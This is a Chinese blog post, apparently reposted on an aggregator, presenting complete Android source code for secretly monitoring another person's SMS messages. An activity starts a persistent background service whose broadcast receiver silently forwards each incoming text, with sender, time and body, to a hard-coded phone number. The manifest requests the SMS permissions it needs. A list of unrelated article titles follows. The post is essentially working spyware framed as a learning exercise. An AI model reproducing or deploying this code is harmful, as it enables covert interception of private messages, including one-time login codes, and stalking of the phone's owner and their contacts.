android broadcast学习之监控他人手机接收的短信
来源:互联网 发布:王毅外交上的幼稚知乎 编辑:程序博客网 时间:2024/05/21 06:22
废话不多说,上代码先:
程序启动时调用的activity,在该activity中创建一个不绑定的service(防止程序退出后监控程序被关闭)
package com.demo.broadcast;import com.demo.broadcast.service.MessageListenerService;import android.app.Activity;import android.content.Intent;import android.os.Bundle;import android.widget.TextView;public class MainActivity extends Activity { /** Called when the activity is first created. */private TextView tv ; @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.main); tv = (TextView)findViewById(R.id.tv); //启动一个不绑定activity的service Intent intent = new Intent(MainActivity.this,MessageListenerService.class); startService(intent); } }
service类,在service被创建时注册一个广播接收器,用于监听是否接收到了短信,当service被销毁时取消注册的广播接收器
package com.demo.broadcast.service;import com.demo.broadcast.SmsMessageReceiver;import android.app.Service;import android.content.Intent;import android.content.IntentFilter;import android.os.IBinder;import android.util.Log;public class MessageListenerService extends Service{private static final String TAG = "MessageListenerService"; private SmsMessageReceiver messageReceiver;@Overridepublic IBinder onBind(Intent intent) {// TODO Auto-generated method stubLog.i(TAG, "*********onBind()**********");return null;}@Overridepublic void onCreate() {// TODO Auto-generated method stubsuper.onCreate();Log.i(TAG, "*********onCreate()**********");//注册监听广播messageReceiver = new SmsMessageReceiver();IntentFilter intentFilter = new IntentFilter();intentFilter.addAction("android.provider.Telephony.SMS_RECEIVED");registerReceiver(messageReceiver, intentFilter);}@Overridepublic void onDestroy() {// TODO Auto-generated method stubsuper.onDestroy();Log.i(TAG, "*********onDestroy()**********");//取消注册监听广播unregisterReceiver(messageReceiver);}}
broadcast类,监听手机是否接收到短信,当收到短信时会调用该类的onReceive()方法,在该方法里可以获取接收到的短信内容,然后发给指定的手机号上:
package com.demo.broadcast;import java.text.SimpleDateFormat;import java.util.Date;import android.content.BroadcastReceiver;import android.content.Context;import android.content.Intent;import android.os.Bundle;import android.telephony.SmsManager;import android.telephony.SmsMessage;public class SmsMessageReceiver extends BroadcastReceiver{ //接收监控信息的手机号private String LINSTENER = "15555218135";@Overridepublic void onReceive(Context context, Intent intend) {// TODO Auto-generated method stubBundle bundle = intend.getExtras();Object messages[] = (Object[])bundle.get("pdus");SmsMessage smsMessage[] = new SmsMessage[messages.length];for(int i=0 ; i<messages.length; i++){smsMessage[i] = SmsMessage.createFromPdu((byte[])messages[i]);}//获取短信的发送者 String sender = smsMessage[0].getOriginatingAddress();// //获取短信内容String messageBody = smsMessage[0].getMessageBody();//获取短信的发送时间Date date = new Date(smsMessage[0].getTimestampMillis()); SimpleDateFormat format = new SimpleDateFormat( "yyyy-MM-dd HH:mm:ss"); String sendTime = format.format(date); // 把拦截到的短信发送到你指定的手机 SmsManager manager = SmsManager.getDefault(); String linstenedMessage = "发件人:" + sender + " 发送时间:" + sendTime + " 短信内容:" + messageBody; manager.sendTextMessage(LINSTENER, null, linstenedMessage , null, null); }}
AndroidManifest.xml,注意注册权限
<?xml version="1.0" encoding="utf-8"?><manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.demo.broadcast" android:versionCode="1" android:versionName="1.0"> <!-- 注册权限 --> <uses-permission android:name="android.permission.RECEIVE_SMS"></uses-permission> <uses-permission android:name="android.permission.SEND_SMS"></uses-permission> <application android:icon="@drawable/icon" android:label="@string/app_name"> <activity android:name=".MainActivity" android:label="@string/app_name"> <intent-filter> <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter> </activity> <service android:name="com.demo.broadcast.service.MessageListenerService"> </service> </application> <uses-sdk android:minSdkVersion="8" /></manifest>
0 0
- android broadcast学习之监控他人手机接收的短信
- Android Broadcast 监控手机应用的状态
- Broadcast 广播 的接收 和发送 -- Android 学习之路
- Android的短信接收处理----Broadcast和Receiver的使用
- 【Android】利用广播Broadcast接收SMS短信
- Android第一课:Broadcast机制-接收短信
- weex接收来自Android手机的Broadcast广播消息
- Android开发—broadcast短信监控
- Android开发—broadcast短信监控
- android 短信的接收!
- 手机安全卫士------手机防盗页面之发送短信&接收短信
- Android学习之Broadcast
- Android学习之Broadcast的练习
- 【Android】安卓学习笔记之接收和拦截短信
- android学习十四(android的接收短信)
- android BroadCast的发送与接收
- Android Broadcast 短信防火墙
- Android的短信接收类
- java.lang.ClassNotFoundException: javax.persistence.EntityListeners
- allegro导入和导出outline
- java各种数据库连接
- c# 获取域名IP
- Introducing Payload Data Formats
- android broadcast学习之监控他人手机接收的短信
- asin()
- win8 + VS2012 + OpenCV的安装与配置
- 这是第一篇呢。
- hive0.11.0/hadoop1.2.1/hbase0.94.15整合
- 关于Java反射机制的一个实例
- Android and Linux suspend and resume debug
- socket网络编程中read与recv区别
- Android开发:android 4.0 取内外置SD卡新特性